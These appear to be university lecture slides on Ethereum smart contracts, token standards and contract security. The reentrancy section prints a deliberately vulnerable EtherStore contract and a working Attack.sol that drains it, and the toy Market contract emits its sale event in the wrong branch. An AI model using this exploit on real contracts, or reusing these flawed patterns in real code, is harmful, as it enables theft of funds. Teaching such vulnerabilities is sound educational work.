CSE 3550/5000: Blockchain Technology

Lecture 7
Ethereum - Part II

Ghada Almashaqbeh
UConn - Spring 2026

Outline

- More about Ethereum capabilities:
  - DApps.
  - Smart contracts; a hands-on example.
  - Tokens on top of Ethereum.
- Security issues in Ethereum (or smart contract-enabled blockchains in general).
  - Veirifer Dilemma.
  - Transaction ordering dependency.
  - Block timestamp dependency.
  - Mishandeld exceptions.
  - Reentrancy attack.

DApps

- A DApp consists of:
  - Smart contract(s) deployed on a blockchain (backend).
  - A frontend web user interface.
- May also need (based on its functionality):
  - Decentralized storage network/platform (e.g., IPFS).
  - Decentralized messages protocol (e.g., Whisper).
- Smart contract-enabled blockchain are the core engine for the next generation of the web.
  - The third generation of the Internet—Web 3.0
  - Web 2.0 is about user-generated content and interactivity, Web 3.0 is about decentralization and transparency.

Smart Contracts I

- A smart contract is simply a program written in Ethereum scripting language, deployed on the EVM and executed by the miners.
- It is composed of two parts:
  - **State:** represented by the values of the variables defined inside the smart contract, the contract ether/gas balance, code, and other state variables.
  - **API:** a set of functions to interact with the contract. Two types:
    - Read-only or constant functions that do not change the contract state, thus, can be called for free.
    - Transactional functions that change the state of the contract and result in transactions logged on the blockchain. Must pay the gas cost when calling any of these functions.

Smart Contracts II

- The full code of the smart contract and its state are public on the blockchain.
- Once the contract owner deploys the contract they cannot change its code.
  - The owner can ask the miners to destruct the contract (if it contains a function to do that) and deploy a new contract.
  - However, this does not mean that it will disappear, it only means that it cannot be invoked and miners will stop tracking its state.
- Deploying smart contracts is not like deploying software packages.
  - Contracts deal with currency all the time. Attackers are more motivated to hack them.
  - No patches to fix security vulnerabilities or some entity to complain to and get a refund/etc.

Smart Contracts III

- Open access mode: Anyone can participate in any dApp and invoke any function within the smart contract unless the contract logic places restrictions on that.
  - Still as Ethereum’s blockchain is public, anyone is able to see what is going on.
- Automated contract term enforcement: once a contract is deployed, it cannot be changed and the logic is executed automatically based on the received transactions.
- Every miner will execute the code based on requests within transactions.
  - Scalability issue that we will cover later.
- All these features led to both academics and practitioners racing into building decentralized applications using smart contracts.
  - A way to reuse Ethereum's infrastructure.

Smart Contracts;
A Hands-on Example

Developing Smart Contracts I

- You are about to write programs that deal with currency.
  - Deploying the contract by itself has a fee that must be paid to the miners.
    - This besides the gas fee for making function calls.
  - Even you, the contract owner/creator, has to pay if you want the miners to execute any of the code.
- Just like traditional coding, you need a programming language (we will use Solidity), an IDE, compiler, etc.

Developing Smart Contracts II

- Testing is an essential step before deploying a contract.
  - Blockchain-based systems usually have two networks:
    - Testnet: has fake tokens and allows experimenting with the code for free in a decentralized way.
    - Mainet, or production network (the real network).
  - Beside the testnet, you can test on some a simulated blockchain that is generated locally on your machine.
- Several tools are available to help with testing and deployment. Here we will use an online compiler, Remix. In Homework 2 you will experiment with local testing.
  - Testing using a testnet, e.g., Sepolia, could be part of your term project if you are building some dApp use case.

Our Example

- We will write a simple contract the does the following (a toy example just to clarify the concept):

"A market smart contract.

Each seller submits offers to the contract; an offer contains the ID of the item he/she wants to sell and its price.

Buyers can buy these items through the contract as well."

Approach

- To write the smart contract code, we will use Solidity, the most popular scripting language for Ethereum.
  - The documentation is found at https://docs.soliditylang.org/en/latest/
- As mentioned before, we will use online IDE/compiler tool called Remix (https://remix-project.org/).
  - An easy tool that allow you to write the contract code in Solidity, compile, deploy, and test its functionalities.
  - GUI based, which serve as a fast way to do the aforementioned tasks.
  - Documentation available at: https://remix-ide.readthedocs.io/en/latest/
  - I am using it for demonstration purposes, it is not the best when it comes to complex testing.

Market Smart Contract Code I

```
pragma solidity >=0.7.0 <0.9.0;

contract Market {

    mapping(uint8 => uint) items;

    address payable market_owner;

    event itemSold(uint8 id);

    /// Initialize contract,

    // we assume that there is only one owner who can list items for sale.

    constructor() public {

        market_owner = payable(msg.sender); }

    /// list an item for sale

    function sell(uint8 item_id, uint price) public {

        if (item_id >= 0 && item_id <= 255 && price > 0)

            items[item_id] = price;

}
```

Market Smart Contract Code II

```
/// Buy an item.
 function buy(uint8 item_id) public payable {
     // check that the item exists and then sell
     if(items[item_id] > 0 && msg.value >= items[item_id]) {
         // mark the item as sold by setting its price to zero
         items[item_id] = 0;
         // transfer the paid currency to the market owner
         (bool sent, ) = market_owner.call{value: msg.value}("");
         require(sent, "Failed to send Ether");
     }
     else {
         emit itemSold(item_id);
     } } }
```

Ethereum Tokens

Motivation

- A flexible way of creating new coins or digital assets on top of Ethereum ecosystem.
- Several advantages:
  - Utilize the underlying infrastructure of Ethereum such as the miners, the blockchain, the consensus protocol, etc.
    - Being tied to an existing and known system.
  - No need to bootstrap a new cryptocurrency system. Just issue your token, i.e. contract, and start trading.
  - Allow the use of a token across multiple projects or platforms, which enhance liquidity.

Is not the Ether a token?

- Any cryptocurrency is a token.
- However, a token created on top of another cryptocurrency has several differences.
  - Ether is controlled by the ethereum protocol, a token is controlled by its smart contract code.
    - Account state, balance, ownership checking, etc.
  - The token is backed up by the original currency.
    - Minting a token is done by buying it using Ether (like depositing Ether to the token smart contract).
- You can write your own smart contract and control your token.
  - Does not need more than few tens of line of code in Solidity.
- However, to secure the contract and account for all possible vulnerabilities, as possible, the code is way complex.

Ethereum Token Standards

- Several standards to token smart contracts.
  - Goal: outline minimum specifications and encourage interoperability.
  - The most popular and widely used one is ERC20.
  - It specifies a set of functions and data structures that a token smart contract must implement, in addition to an optional function set.
    - Usually transfer tokens, approve, balance inquiry, etc.
  - A developer can add additional functions, etc.

Ethereum Token Examples

- Widely used to create decentralized services.
  - Provide a digital service on top of Ethereum.
  - Clients pay token to obtain the service.
  - Thus, clients buy tokens in Ether servers can sell their tokens to obtain Ether in return.
- Example:
  - Livepeer; a decentralized video transcoding service.
  - Golum; a decentralized computation outsourcing service.
  - NuCypher; a decentralized access control service.
    - After the hard merge with Keep the new coin is called Threshold.

Security Issues

Writing Secure Smart Contracts

- Writing secure code is hard.
  - It needs extensive testing to cover all paths an attacker may utilize while interacting with the code.
  - Attackers are financially motivated to hack smart contracts.
    - Bugs literally cost money.
  - Lack of understanding how the underlying network or cryptocurrency system works may lead to writing buggy code.
- And remember, you cannot patch a buggy smart contract code.
  - So it is like recovering from a code security vulnerability is almost impossible.

Is It All About Code?

- Ethereum is an ecosystem that allows deploying smart contracts as a way to build new applications and services.
  - It has security issues Like any other large-scale blockchain-based system.
    - DoS, tendency towards centralization, 51% attack, Eclipse/Goldfinger attacks, etc.
- Securing these services requires:
  - Extensive threat modeling.
  - Understanding how Ethereum/blockchain-based systems work.
  - Security by design; integrating countermeasures into the application design.

Security Issues

- In this lecture, we will study the following security issues:
  - Verifier Dilemma.
  - Transaction ordering dependency.
  - Timestamp dependency.
  - Mishandled exceptions.
  - Reentrancy vulnerability.

Verifier Dilemma

- A potential security threat that may arise due to complexity of computation a smart contract implements.
- Upon receiving a newly mined block, a miner is supposed to verify the validity of each transaction in this block before accepting it.
  - In Ethereum, this means re-executing all transactions that call functions from smart contracts and check the new EVM state.
  - Sometimes the contract code is complex and requires significant amount of resources to execute.
- However, malicious miners may not verify the correctness of the transactions.
  - Done to save time/computing resources so they can start working on the proof-of-work race before honest miners.

To validate, or not to validate, that is the question!

- This leaves honest miners with dilemma of whether to validate blocks received from others or not.
  - Validate -- consumes resources.
  - Not validate -- may lead to adopting an invalid blocks in the blockchain.
- This dilemma applies also to other cryptocurrencies.
  - Risk is higher when non-trivial computation is needed to verify transactions.

Verifier Dilemma - Potential Solutions

- Simplify the scripting language, so make it simpler and faster to verify scripts.
  - This limits the flexibility and supported functionality of the systems.
- Design correctness proofs with fast verification time.
  - Verifying the computation does not require re-executing the whole computation.
  - Non-trivial to come up with such proof systems.
  - Also, they may introduce additional assumptions like a trusted setup, and may degrade prover's efficiency.
- Ethereum switched to proof of stake, will this help with the verifier dilemma problem? Or do you see how the verifiers' dilemma was worse in PoW?

Transaction Ordering Dependency I

- Also called race condition or front running.
- The state of the blockchain, and hence, the state of the deployed smart contracts depends on the order of executing the transactions.
  - Two transactions issued at the same time, or in close time intervals, from different accounts can be executed in an arbitrary order.
    - Recall that for transactions tied to the same account, the transaction nonce is used to resolve order issues.
- An attacker may utilize this dependency to gain monetary profits.
  - Observe transactions from others and act accordingly by issuing competing transactions.
  - Network propagation delays, and other factors like transaction fees, may result in executing the attacker's transaction first.

Transaction Ordering Dependency II

- For example, consider a puzzle solving contract where Alice posts a contract rewarding for solving a puzzle.
  - Bob has solved the puzzle and issued a transaction containing the solution.
  - Alice monitors the network, once it hears about Bob's transaction, she issues another transaction to withdraw the bounty.
  - There is a chance that Alice's transaction will be executed first, hence, Alice obtains the puzzle solution for free.
- There is a whole industry now around Miner Extractable Value (MEV); miners can extract additional profits by reordering transactions (and perhaps add theirs to extract profits).

Timestamp Dependency

- Also called block timestamp manipulation.
- Some smart contracts may use the timestamps of the blocks on the blockchain.
  - For example, use the hash of a future block and its timestamp to determine the outcome of a lottery draw.
- A miner sets the timestamp based on its local machine.
  - In PoW Ethereum (as in Bitcoin), timestamp can vary by up to 900 seconds and still accepted by other miners. In PoS Ethereum, the timestamp is more predictable and highly synchronized.
- Hence, a miner can set this timestamp in a way that influences the contract in the way it desires.
  - Tying this to the above example, a miner can change the timestamp in a way that produces a favorable lottery draw outcome.

Mishandled Exceptions

- This occurs in contracts with code that does not check whether a function call has succeeded or not.
  - Usually happens when invoking functions from external contracts.
- For example, let's modify our Market smart contract to allow the owner to sell the market to someone else. So the owner address will be changed.
  - Once the original owner receives the money from the new owner, which is also using a function inside the contract, change the owner's address
  - If the money sending function fails, and the contract does not check for such failure and act accordingly, the new owner will get the market for free.

Reentrancy Vulnerability I

- The vulnerability behind The DAO incident.
- Happens when a contract calls a function from another contract.
  - The state of the caller contract is not updated until the execution of invoked function is completed.
  - An attacker may exploit the intermediate state (these produced before the final update) to attack the smart contract.
- Usually exploits a fallback function defined in an external contract (a function that is called if no funcion match is found).
  - This function will be invoked by the attacked contract.
  - The body of this function is the code that exploits the intermediate state of the attacked contract.
- At least in the DAO incident, it was used to drain the currency in the DAO contract account.

Reentrancy Vulnerability II

- For example, assume we have a contract that allows a party to withdraw her own balance and then zeros the balance.
  - This contract allows the caller to specify an address to send the withdrawn currency to.
  - An attacker, may craft a contract and ask to send the money to this contract's address instead of an EOA address.
  - The fallback function in the crafted contract calls the withdraw balance function several times. Will go through since zeroing the balance comes after finishing the call.
  - This allows the attacker to withdraw all the attacked contract's money instead of her balance only.
- This exactly what happened in The DAO attack.

Reentrancy Example I

Example 9-1. EtherStore: a contract vulnerable to reentrancy

```
1 contract EtherStore {
2      uint256 public withdrawalLimit = 1 ether;
3      mapping(address => uint256) public lastWithdrawTime;
4    mapping(address => uint256) balances;
5
6    function depositFunds() public payable{
7      balances[msg.sender] += msg.value;
8    }
9
10    function withdrawFunds() public {
11        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
12        uint256 _amt = balances[msg.sender];
13        if(_amt > withdrawalLimit){
14            _amt = withdrawalLimit;
15        }
16      (bool res, ) = address(msg.sender).call{value: _amt}("");
17        require(res, "Transfer failed");
18      balances[msg.sender] = 0;
19        lastWithdrawTime[msg.sender] = block.timestamp;
20    }
21 }
```

*From Mastering Ethereum book, Chapter 9

How to fix it?

Reentrancy Example II

Example 9-2. Attack.sol: a contract used to exploit the reentrancy vulnerability in the EtherStore contract

```
1 contract Attack {
2  EtherStore public etherStore;
3
4  // initialize the etherStore variable with the contract address
5  constructor(address _etherStoreAddress) {
6      etherStore = EtherStore(_etherStoreAddress);
7  }
8
9  function attackEtherStore() public payable {
10      // attack to the nearest ether
11      require(msg.value >= 1 ether, "no bal");
12      // send eth to the depositFunds() function
13      etherStore.depositFunds{value: 1 ether}();
14      // start the magic
15      etherStore.withdrawFunds();
16  }
17
18  function collectEther() public {
19      payable(msg.sender).transfer(address(this).balance);
20  }
21
22  // receive function - the fallback() function would have worked out too
23  receive() external payable {
24      if (address(etherStore).balance >= 1 ether) {
25          // reentrant call to victim contract
26          etherStore.withdrawFunds();
27      }
28  }
29 }
```


*From Mastering Ethereum book, Chapter 9

Other Vulnerabilities

- As in conventional coding:
  - Buffer overflow.
  - Input/output sanity checking.
  - The use of external services/contracts that could be insecure.
  - Buggy built-in helper functions.
  - Uninitialized pointers.
  - etc.

References

- Luu et al., "Demystifying incentives in the consensus computer." In Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, pp. 706-719. ACM, 2015.
- Luu, Loi, Duc-Hiep Chu, Hrishi Olickel, Prateek Saxena, and Aquinas Hobor. "Making smart contracts smarter." In *Proceedings of the 2016 ACM SIGSAC conference on computer and communications security*, pp. 254-269. ACM, 2016.